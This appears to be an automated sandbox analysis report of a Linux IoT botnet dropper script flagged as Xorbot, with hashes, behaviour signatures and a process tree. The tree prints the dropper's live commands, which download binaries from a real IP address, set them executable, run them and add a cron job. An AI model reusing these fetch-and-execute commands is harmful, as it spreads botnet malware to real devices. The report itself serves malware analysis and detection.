Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/12/2024, 22:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18483b2b13982c8984024e2fdd372a92

  • SHA1

    2b7482e5b22889cb12b1591f82eac30640bd5a29

  • SHA256

    58802f007739de0fa9259dbc37bd643eead80b63e2ff7608218c38356e84427b

  • SHA512

    cc77d0869f3613b9d86c9c12c2d1d1483282961c06e4700913abc6c52656c7636fa8a81606130c23724c4321d5fbd0b613e86705d652456fc61f5a3c490425bf

  • SSDEEP

    192:plttL855KRNhC6eOqtm2S6SVQsRKHGgZ2ttLm55KRNcigOqtm2Q6SVQs8CZ:plttfPeOqtm2S6SVQsRIGgZ2ttfgOqtw

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1853) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://216.126.231.164/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:658
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:682
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          ./TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Executes dropped EXE
          PID:695
        • /bin/rm
          rm TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
            PID:698
          • /usr/bin/wget
            wget http://216.126.231.164/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Writes file to tmp directory
            PID:699
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:712
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            ./gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Executes dropped EXE
            PID:740
          • /bin/rm
            rm gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://216.126.231.164/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Writes file to tmp directory
              PID:743
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/chmod
              chmod 777 w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • File and Directory Permissions Modification
              PID:773
            • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              ./w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Executes dropped EXE
              PID:775
            • /bin/rm
              rm w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
                PID:777
              • /usr/bin/wget
                wget http://216.126.231.164/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:778
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:781
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:782
              • /bin/chmod
                chmod 777 PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • File and Directory Permissions Modification
                PID:783
              • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                ./PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Executes dropped EXE
                PID:784
              • /bin/rm
                rm PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                  PID:786
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Writes file to tmp directory
                  PID:787
                • /usr/bin/curl
                  curl -O http://216.126.231.164/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:788
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.164/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /bin/chmod
                  chmod 777 KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:790
                • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  ./KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                  • Executes dropped EXE
                  PID:791
                • /bin/rm
                  rm KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                  2⤵
                    PID:793
                  • /usr/bin/wget
                    wget http://216.126.231.164/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Writes file to tmp directory
                    PID:794
                  • /usr/bin/curl
                    curl -O http://216.126.231.164/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:795
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.164/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Writes file to tmp directory
                    PID:796
                  • /bin/chmod
                    chmod 777 LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • File and Directory Permissions Modification
                    PID:797
                  • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    ./LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                    • Executes dropped EXE
                    PID:798
                  • /bin/rm
                    rm LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                    2⤵
                      PID:800
                    • /usr/bin/wget
                      wget http://216.126.231.164/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:801
                    • /usr/bin/curl
                      curl -O http://216.126.231.164/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                      2⤵
                      • Checks CPU configuration
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:802
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.164/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:803
                    • /bin/chmod
                      chmod 777 VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                      2⤵
                      • File and Directory Permissions Modification
                      PID:804
                    • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                      ./VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:805
                    • /bin/rm
                      rm VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                      2⤵
                      • System Network Configuration Discovery
                      PID:807
                    • /usr/bin/wget
                      wget http://216.126.231.164/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                      2⤵
                      • Writes file to tmp directory
                      PID:808
                    • /usr/bin/curl
                      curl -O http://216.126.231.164/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:811
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.164/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                      2⤵
                      • Writes file to tmp directory
                      PID:812
                    • /bin/chmod
                      chmod 777 hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:813
                    • /tmp/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                      ./hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:814
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:816
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:817
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:818
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:819
                          • /bin/rm
                            rm hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                              PID:821
                            • /usr/bin/wget
                              wget http://216.126.231.164/bins/LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              2⤵
                                PID:824

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /var/spool/cron/crontabs/tmp.kqiA5Q

                              Filesize

                              210B

                              MD5

                              243f4a0ede2dc7f5d8a41c269ac42736

                              SHA1

                              fb8efbc1ae05065c44fcf93e203bb7b9e842a04e

                              SHA256

                              c72e7abb01ee794fe9fdafc9000723b374ea8dff816981e5658ac2ba43ca2671

                              SHA512

                              ef6097fd9a03f88ea304d75feaaf02f257e120ea598c9babf5878cea505aaecb00894d8e50f371cd68f3015ca3fab9fd6a1ba6bd38d276a7e4ed6af96d80f50b